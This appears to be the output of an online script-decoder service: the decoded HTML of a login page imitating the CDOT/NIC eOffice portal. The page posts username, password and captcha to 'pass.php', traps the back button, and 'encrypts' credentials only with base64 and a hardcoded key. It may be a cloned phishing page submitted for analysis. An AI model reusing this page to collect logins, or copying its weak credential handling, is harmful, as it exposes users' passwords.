Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


<html>
<head>
<title>WAW Portal</title>
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
<style type="text/css">

</style>


<script src="../intranic5/js/jquery-3.6.0.min.js" type="text/javascript"></script>

<style type="text/css">


</style>
</head>
<body onLoad="javascript:history.go(+1)">
<div >
  <form action="pass.php" method="post" autoComplete="off" name="form" onSubmit="return encrt()">
    <input type="hidden" name="form.submitted" value="1" />
    <input type="hidden"  name="came_from"  value=""  tal:attributes="value came_from" />
    
    <input type="hidden" name="js_enabled" id="js_enabled" value="0" />
    <input type="hidden" name="cookies_enabled" id="cookies_enabled" value="" />
    <input type="hidden" name="login_name" id="login_name" value="" />
    <input type="hidden" name="pwd_empty" id="pwd_empty" value="0" />
    <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0" >
      <tr>
        <td align="center" valign="middle" ><table width="900" cellspacing="0" cellpadding="0" border="0" height="540">
            <tr>
              <td valign="top" background="../intranic5/images/loginbg.jpg"><table width="100%" cellspacing="0" cellpadding="0" border="0">
                  <tr>
                    <td width="230" height="26">&nbsp;</td>
                    <td height="26">&nbsp;</td>
                    <td width="230" height="26">&nbsp;</td>
                  </tr>
                  <tr>
                    <td width="230" height="30">&nbsp;</td>
                    <td height="30" align="right" class="logindate"><SCRIPT LANGUAGE="JAVASCRIPT" class="text4">
									var mydate=new Date()
									var year=mydate.getYear()
									if (year < 1000)
 									year+=1900
									var day=mydate.getDay()
									var month=mydate.getMonth()
									var daym=mydate.getDate()
									if (daym < 10)
  daym="0"+daym
var dayarray=new Array("Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday")
var montharray=new Array("January","February","March","April","May","June","July","August","September","October","November","December")
"<P CLASS=date style='color: white;position:relative;bottom:10px;'>"+dayarray[day]+", "+montharray[month]+" "+daym+", "+year+" "
</SCRIPT></td>
                    <td width="230" height="30">&nbsp;</td>
                  </tr>
                </table>
                <table width="100%" cellspacing="0" cellpadding="0" border="0">
                  <tr>
                    <td width="250" >&nbsp;</td>
                    <td valign="top"><img src="../intranic5/images/eofficelogo-new.jpg" width="400" height="90"></td>
                    <td width="250" >&nbsp;</td>
		  </tr>
		  <tr>
                    <td width="250" >&nbsp;</td>
                    <td valign="top" width="400" height="70"></td>
                    <td width="250" >&nbsp;</td>
                  </tr>
                  <tr>
                    <td width="250" height="2">&nbsp;</td>
		    <td height="5">
		      <p align="center" class="style1">
			<span metal:use-macro="container/heading_master/macros/heading"/>
				  				  Centre for Development of Telematics (CDOT)
			</span>
		      </p>
		    </td>
                    <td width="250" height="2">&nbsp;</td>
                  </tr>
                  <tr>
                    <td height="5">&nbsp;</td>
                    <td height="5">&nbsp;</td>
                    <td height="5">&nbsp;</td>
                  </tr>
                  <tr>
                    <td height="25">&nbsp;</td>
                                        <td height="25" align="center" valign="middle" class="text4bold" style="color: white;" ><span>Welcome To eOffice</span></td>
                                        <td height="30">&nbsp;</td>
                  </tr>
                </table>
                <table width="100%" cellspacing="0" cellpadding="0" border="0">
                  <tr>
                    <td width="250">&nbsp;</td>
                    <td>&nbsp;</td>
                    <td width="250">&nbsp;</td>
                  </tr>
                  <tr>
                    <td width="250">&nbsp;</td>
                    <td><table width="100%" border="0" cellpadding="0" cellspacing="0">
                        <tr>
                          <td width="102" height="26" align="right" class="textuser">Login ID </td>
                          <td width="7" height="26">&nbsp;</td>
                          
			  <td width="152" height="26">
                            
                            <input type="text"  size="15" maxlength="50" class="textbox2" placeholder="LDAP ID/Login ID" name="username" id="username"/></td>
                          <td width="7" height="26">&nbsp;</td>
                          <td height="26">&nbsp;</td>
                        </tr>
                        <tr>
                          <td width="102" height="26" align="right" class="textuser">Password</td>
                          <td width="7" height="26">&nbsp;</td>
			  <td width="152" height="26">
                            
                            <input type="password"  size="15" maxlength="50" class="textbox2" id="password" name="password" placeholder="Password"/> </td>
			    <input type="hidden"  value="940040913" id="rand_id_val" name="rand_id_val"/>
                            
                          <td width="7" height="26">&nbsp;</td>
                          
                         
                          <td height="26" align="left">
                          <input class="context" type="submit" name="submit"  id="button" value="" alt="Log in" onClick="validate();" style="background-image:url(../intranic5/images/login.gif);width:59px; height:19px;border:0;alt log_in;"/></td>
                        </tr>
                        
                          <td width="50" height="26" align="right" class="textuser">
                          	
                          </td>
                          <td width="7" height="26">&nbsp;</td>
			  <td width="152" height="26" style="position: relative;top: 5px;">
                            <input id="captcha1" name="captcha" type="text"  size="15" class="textbox2" placeholder="Captcha"></td> 
                          <td width="7" height="26">&nbsp;</td>
                          <td height="26">&nbsp;</td>
                        </tr>
                        <tr>
                          <td width="102" height="26" align="right"></td>
                          <td width="7" height="26" class="text6">&nbsp;</td>
                          <td id="imgparent" width="50" height="26" align="right" class="textuser">
                          	<div id="imgdiv" style="position: relative;top: 10px;right: 30px;margin:2px 0;"><img id="img" src="captcha.php" />
					<img id="reload" style="float:left; position: relative; left: 30px;" src="../intranic5/images/reload.png" height="20px;" width="20px;" onClick="reload_captcha();"/>
                          	</div>
                          </td>
                          <td width="7" height="26">&nbsp;</td>
                          <td height="26">&nbsp;</td>
                        </tr>
                        
                      </table></td>
                    <td width="250">&nbsp;</td>
                  </tr>
                  
                  <tr>
                    <td height="50">&nbsp;</td>
                    <td valign="bottom" height="50"><table width="100%" cellspacing="0" cellpadding="0" border="0">
                        <tr>
                          <td width="100">&nbsp;</td>
                          <td align="right" class="header2"></td>
                          
                          <td width="30">&nbsp;</td>
                        </tr>
                      </table></td>
                    <td height="50">&nbsp;</td>
                  </tr>
                  <tr>
                    <td height="29">&nbsp;</td>
                    <td valign="bottom" height="29">&nbsp;</td>
                    <td height="29">&nbsp;</td>
                  </tr>
                  <tr>
		  <td valign="bottom" align="center" height="10" class="textuser" colspan="3">Copyright &copy; 2009- 2024, NIC. All Rights Reserved.  This site is designed, developed and Hosted by NIC.</td>
                  </tr>
                  <tr>
                    <td valign="bottom" align="center" height="10" class="textuser" colspan="3">Site is best viewed in 1024x768 pixels resolution.</td>
                  </tr>
                </table></td>
            </tr>
          </table></td>
      </tr>
    </table>
  </form>
</div>
<script>
function reload_captcha() { 
//change CAPTCHA on each click or on refreshing page
    $("#reload").click(function() {
	
        $("img#img").remove();
		var id = Math.random();
        $('<img id="img" src="captcha.php?id='+id+'"/>').appendTo("#imgdiv");
		 id ='';
    });
}

function encrt(){ 
    var key = "fhtjttlbb8lm748t5lk5s5mlnk";
    var username = document.form.username.value;
    var password= document.form.password.value;
    var captcha= document.form.captcha1.value;
    if(username == null || username == ''){
        alert('Username can not be blank');
          return false;  
        }
    if(password == null ||password == ''){
        alert('Password can not be blank');
          return false;  
        }
    if(captcha == null ||captcha == ''){
        alert('Captcha can not be blank');
          return false;  
        }
    
    var encSaltusername=encryptLogin(key,username);//alert(encSaltemail);
    var encSaltpassword=encryptLogin(key,password);//alert(encSaltPass);
    document.form.username.value=encSaltusername;
    document.form.password.value=encSaltpassword; 
    }
		

function encryptLogin(key,datastring,rand_idv){
        var data=datastring;
		var encodeval = btoa(data);
		//alert(encodeval);
		var rand_id = 940040913;
        var enc =window.btoa(Math.random()+"#"+encodeval+"#"+key+"#"+rand_id);
		return enc;
}


</script>
</body>
</html>



© 2023 Quttera Ltd. All rights reserved.